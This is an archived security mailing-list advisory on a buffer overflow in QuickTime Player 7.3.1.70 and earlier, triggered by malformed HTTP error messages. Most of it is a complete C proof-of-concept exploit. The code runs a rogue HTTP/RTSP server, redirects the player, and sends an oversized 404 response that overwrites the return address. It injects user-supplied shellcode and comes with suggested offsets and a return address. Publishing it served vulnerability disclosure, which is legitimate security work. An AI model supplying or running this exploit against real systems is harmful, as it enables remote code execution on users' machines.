Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Quicktime Player HTTP Error Message Buffer Overflow

Subject: [NT] Quicktime Player HTTP Error Message Buffer Overflow
Date: 15 Jan 2008 08:17:50 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Quicktime Player HTTP Error Message Buffer Overflow
------------------------------------------------------------------------


SUMMARY

A vulnerability in the way Quicktime displays error messages allows remote 
attackers to cause it to crash and execute arbitrary code. The 
vulnerability is triggered by a malformed HTTP response whenever the 
Quicktime is asked to connect to an RTSP server whose TCP port 554 and 
7070 are closed but non-filtered.

DETAILS

Vulnerable Systems:
 * Quicktime Player version 7.3.1.70 and prior

Exploit:
/*
    Copyright 2008 Luigi Auriemma - 
http://aluigi.altervista.org/poc/quicktimebof.zip

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 
USA

    http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <time.h>
#include <ctype.h>
#include <sys/stat.h>

#ifdef WIN32
    #include <direct.h>
    #include <ws2tcpip.h>
    #include <winsock.h>
    #include "winerr.h"

    #define close       closesocket
    #define sleep       Sleep
    #define in_addr_t   uint32_t
    #define ONESEC      1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <sys/ioctl.h>
    #include <net/if.h>
    #include <pthread.h>

    #define ONESEC      1
    #define strnicmp    strncasecmp
    #define stricmp     strcasecmp
    #define stristr     strcasestr
#endif

#ifdef WIN32
    #define quick_thread(NAME, ARG) DWORD WINAPI NAME(ARG)
    #define thread_id   DWORD
#else
    #define quick_thread(NAME, ARG) void *NAME(ARG)
    #define thread_id   pthread_t
#endif

thread_id quick_threadx(void *func, void *data) {
    thread_id       tid;
#ifdef WIN32
    if(!CreateThread(NULL, 0, func, data, 0, &tid)) return(0);
#else
    pthread_attr_t  attr;
    pthread_attr_init(&attr);
    pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
    if(pthread_create(&tid, &attr, func, data)) return(0);
#endif
    return(tid);
}

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



#define VER             "0.1"
#define BUFFSZ          0xffff                      // for speed and for 
any UDP packet
#define PORT            80
#define MAXWAIT         10

#define EXPLOIT_URI     "life_is_pain_leave_it"
#define QTL             "<?xml version=\"1.0\"?>\n" \
                        "<?quicktime 
type=\"application/x-quicktime-media-link\"?>\n" \
                        "<embed src=\"rtsp://%s/file.mp3\"; 
autoplay=\"true\" type=\"audio/quicktime\"></embed>\n"

#define SEND(A,B,C)     if(send(A, B, C, 0) < 0) goto quit
#define RECV(A,B,C)     recv(A, B, C, 0)



u8 *fdload(u8 *fname, int *len);
int hex2bin(u8 *data, int len);
int bind_tcp_socket(struct sockaddr_in *peer);
quick_thread(client, int sock);
int timeout(int sock);
in_addr_t resolv(char *host);
in_addr_t get_sock_ip_port(int sd, u16 *port);
void sock_printf(int sd, char *fmt, ...);
void open_log(u8 *fname);
void std_err(void);



u32     exploit_offset          = 0,
        exploit_address         = 0;
int     exploit_shellcodelen    = 0;
u8      *exploit_shellcode      = "";



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sdl,
            sda,
            psz;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    fputs("\n"
        "Quicktime Player <= 7.3.1.70 HTTP error message buffer-overflow 
"VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 4) {
        printf("\n"
            "Usage: %s <offset> <retaddr> <shellcode>\n"
            "\n"
            "- offset is the offset in the error messsage (so \"HTTP/1.1 
404\" excluded) which\n"
            "  will overwrite the return address, if in doubt try with 
1926, 2134, 1870 and\n"
            "  so on (this offset seems to change depending by the URL or 
the QTL file)\n"
            "- retaddr is the return address you want to overwrite, a good 
value is\n"
            "  0x675b29eb because when the function returns, EAX will 
point to the previous\n"
            "  offset. 0x675b29eb has a \"jmp eax\" so the code flow will 
continue where are\n"
            "  located the bytes of our return address \"eb 29\" which 
means \"jmp 0x29\".\n"
            "  the tool will automatically fill this \"space\" if retaddr 
finishes with 0xeb\n"
            "- shellcode is a file containing the C-style shellcode you 
want to execute\n"
            "  (so something like 
\"\\x31\\xc9\\x83\\xe9\\xdd\\xd9\\xee\\xd9... and so on)\n"
            "  remember that the only bytes which must be avoided are 0x00 
0x0d 0x0a\n"
            "  use \"\" to skip the usage of a shellcode\n"
            "\n"
            "Example:\n"
            "  quicktimebof 2134 0x41414141 \"\"\n"
            "  quicktimebof 2134 0x675b29eb shellcode.txt\n"
            "\n"
            "Remember that your ports 554 and 7070 must be closed and 
non-filtered!\n"
            "\n", argv[0]);
        exit(1);
    }

    sscanf(argv[1], "%d", &exploit_offset);
    sscanf(argv[2], "%x", &exploit_address);
    if(argv[3][0]) {
        exploit_shellcode = fdload(argv[3], &exploit_shellcodelen);
        exploit_shellcodelen = hex2bin(exploit_shellcode, 
exploit_shellcodelen);
        printf("- C/Perl/hex shellcode converted to binary (%d bytes)\n", 
exploit_shellcodelen);
    }

    peer.sin_addr.s_addr = INADDR_ANY;
    peer.sin_port        = htons(PORT);
    peer.sin_family      = AF_INET;
    sdl = bind_tcp_socket(&peer);

    printf("\n"
        "- now connect your Quicktime client to 
rtsp://127.0.0.1/file.mp3\n";
        "  this PoC supports also qtl, use http://127.0.0.1/file.qtl in 
your browser\n"
        "\n");

    for(;;) {
        psz = sizeof(struct sockaddr_in);
        sda = accept(sdl, (struct sockaddr *)&peer, &psz);
        if(sda < 0) std_err();

        sock_printf(sda, "connected\n");

        if(!quick_threadx(client, (void *)sda)) {
            sock_printf(sda, "unable to create thread\n");
            close(sda);
        }
    }

    close(sdl);
    return(0);
}



u8 *fdload(u8 *fname, int *len) {
    struct stat xstat;
    FILE    *fd;
    u8      *ret;

    printf("- open %s\n", fname);
    fd = fopen(fname, "rb");
    if(!fd) std_err();
    fstat(fileno(fd), &xstat);
    ret = malloc(xstat.st_size);
    if(!ret) std_err();
    *len = fread(ret, 1, xstat.st_size, fd);
    fclose(fd);
    printf("- %d bytes loaded\n", *len);
    return(ret);
}



int hex2bin(u8 *data, int len) {
    int     c;
    u8      *i,
            *o,
            *l;

    i = data;
    o = data;
    l = data + len;

    for(; i < l; i++) {
        if((*i == '\r') || (*i == '\n')) continue;
        if((*i == '#') || (*i == '/') || (*i == 'm') || (*i == 'u')) {
            for(; i < l; i++) {                 // "my" and "unsigned"
                if(*i == '\n') break;
            }
        } else {
            break;
        }
    }

    for(; i < l; i++) {
        c = tolower(*i);
        if(((c >= '0') && (c <= '9')) || ((c >= 'a') && (c <= 'f'))) {
            sscanf(i, "%02x", &c);
            *o++ = c;
            i++;
        }
    }
    return(o - data);
}



int bind_tcp_socket(struct sockaddr_in *peer) {
    int     sd,
            psz,
            on = 1;

    peer->sin_addr.s_addr = INADDR_ANY;
    if(peer->sin_port) {
        printf("- bind %s:%hu\n",
            inet_ntoa(peer->sin_addr), ntohs(peer->sin_port));
    } else {
        peer->sin_port    = 0;
    }
    peer->sin_family      = AF_INET;

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    if(peer->sin_port) {
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, 
sizeof(on))
          < 0) std_err();
    }

    if(bind(sd, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
      < 0) std_err();

    psz = sizeof(struct sockaddr_in);
    if(getsockname(sd, (struct sockaddr *)peer, &psz)
      < 0) std_err();

    if(listen(sd, SOMAXCONN)
      < 0) std_err();

    return(sd);
}



quick_thread(client, int sd) {
    struct  sockaddr_in peer;
    struct  in_addr myip;
    int     t,
            i,
            len,
            rem;
    u8      req[16],
            uri[128],
            useragent[128],
            *buff,
            *p;

    buff = NULL;
    memset(&peer, 0, sizeof(struct sockaddr_in));

    buff = malloc(BUFFSZ + 1);
    if(!buff) goto quit;

    myip.s_addr = get_sock_ip_port(sd, NULL); // useful for automatic 
backconnect shell too

    for(;;) {
        len = 0;
        for(;;) {
            t = recv(sd, buff + len, BUFFSZ - len, 0);
            if(t <= 0) goto quit;
            len += t;
            buff[len] = 0;
            if(strstr(buff, "\r\n\r\n") || strstr(buff, "\n\n")) break;
        }

        printf("\n%s", buff);
        sscanf(buff, "%15[^ \t\r\n] %127[^ \t\r\n]", req, uri);

        p = (u8 *)stristr(buff, "\nContent-Length:");
        if(p) {
            len = atoi(p + 17);
            if(len < 0) goto quit;
            for(rem = BUFFSZ; len; len -= t) {
                if(len < rem) rem = len;
                t = recv(sd, buff, rem, 0);
                if(t <= 0) goto quit;
            }
        }

        sleep(ONESEC);  // I use sleep here because gives better results, 
moreover in localhost

        if(stristr(uri, ".qtl")) {
            len = sprintf(buff,
                "HTTP/1.0 200 OK\r\n"
                "Content-Type: application/x-quicktimeplayer\r\n"
                "Content-Length: %d\r\n"
                "\r\n", strlen(QTL) - 2 /* %s */ + 
strlen(inet_ntoa(myip)));

            len += sprintf(buff + len,
                QTL,
                inet_ntoa(myip));

            send(sd, buff, len, 0);
            break;
        }
        if(!stristr(uri, EXPLOIT_URI)) {    // in my tests this step is 
very very useful for the success of the exploitation
            len = sprintf(buff,
                "HTTP/1.0 302\r\n"
                "Location: rtsp://%s/%s\r\n";
                "\r\n",
                inet_ntoa(myip),
                EXPLOIT_URI);

            send(sd, buff, len, 0);
            break;
        }

        p = (u8 *)stristr(buff, "\nuser-agent:");
        if(p) sscanf(p + 13, "%127[^ \t\r\n]", useragent);

        p = buff;
        p += sprintf(p, "HTTP/1.0 404 ");

        printf("- insert %d bytes with value 0x01\n", exploit_offset);
        for(i = 0; i < exploit_offset; i++) *p++ = 0x01;

        printf("- place return address at offset %d\n", p - buff);
        *(u32 *)p = exploit_address;
        p += 4;

        if((exploit_address & 0xff) == 0xeb) {
            printf("- add additional bytes for the jmp XX in the return 
address (jmp eax)\n");
            for(i = ((exploit_address >> 8) & 0xff) - 4 + 2; i > 0; i--) 
*p++ = 0x90;
        }

        printf("- add shellcode of %d bytes\n", exploit_shellcodelen);
        p += sprintf(p, "%s\r\n\r\n", exploit_shellcode);

        printf("- send %d bytes to the client\n", p - buff);
        send(sd, buff, p - buff, 0);
    }

    sleep(ONESEC * 3);  // it's not needed but I like it

quit:
    if(buff) free(buff);
    sock_printf(sd, "disconnected\n");
    close(sd);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = MAXWAIT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



in_addr_t resolv(char *host) {
    struct      hostent *hp;
    in_addr_t   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(hp) host_ip = *(in_addr_t *)(hp->h_addr);
    }
    return(host_ip);
}



in_addr_t get_sock_ip_port(int sd, u16 *port) {
    struct sockaddr_in  peer;
    int         psz;

    psz = sizeof(struct sockaddr_in);

    if(getsockname(sd, (struct sockaddr *)&peer, &psz)
      < 0) std_err();

    if(port) *port = ntohs(peer.sin_port);

    return(peer.sin_addr.s_addr);
}



in_addr_t get_peer_ip_port(int sd, u16 *port) {
    struct sockaddr_in  peer;
    int         psz;

    psz = sizeof(struct sockaddr_in);

    if(getpeername(sd, (struct sockaddr *)&peer, &psz) < 0) {
        peer.sin_addr.s_addr = 0;                   // avoids possible 
problems
        peer.sin_port        = 0;
    }

    if(port) *port = ntohs(peer.sin_port);

    return(peer.sin_addr.s_addr);
}



void sock_printf(int sd, char *fmt, ...) {
    va_list     ap;
    in_addr_t   ip;
    int         len;
    u16         port;
    u8          buff[1024];                         // unfortunately its 
needed for
                                                    // a "one line 
show"... blah
    ip = get_peer_ip_port(sd, &port);

    va_start(ap, fmt);
    len = sprintf(buff, "  %s:%hu ", inet_ntoa(*(struct in_addr *)&ip), 
port);
    len += vsnprintf(buff + len, sizeof(buff) - len - 1, fmt, ap);
    va_end(ap);

    if((len < 0) || (len >= sizeof(buff))) {
        strcpy(buff + sizeof(buff) - 6, "...\n");
    }

    fputs(buff, stdout);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:  
<http://aluigi.altervista.org/poc/quicktimebof.zip> 
http://aluigi.altervista.org/poc/quicktimebof.zip



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Quicktime Player HTTP Error Message Buffer Overflow, SecuriTeam <=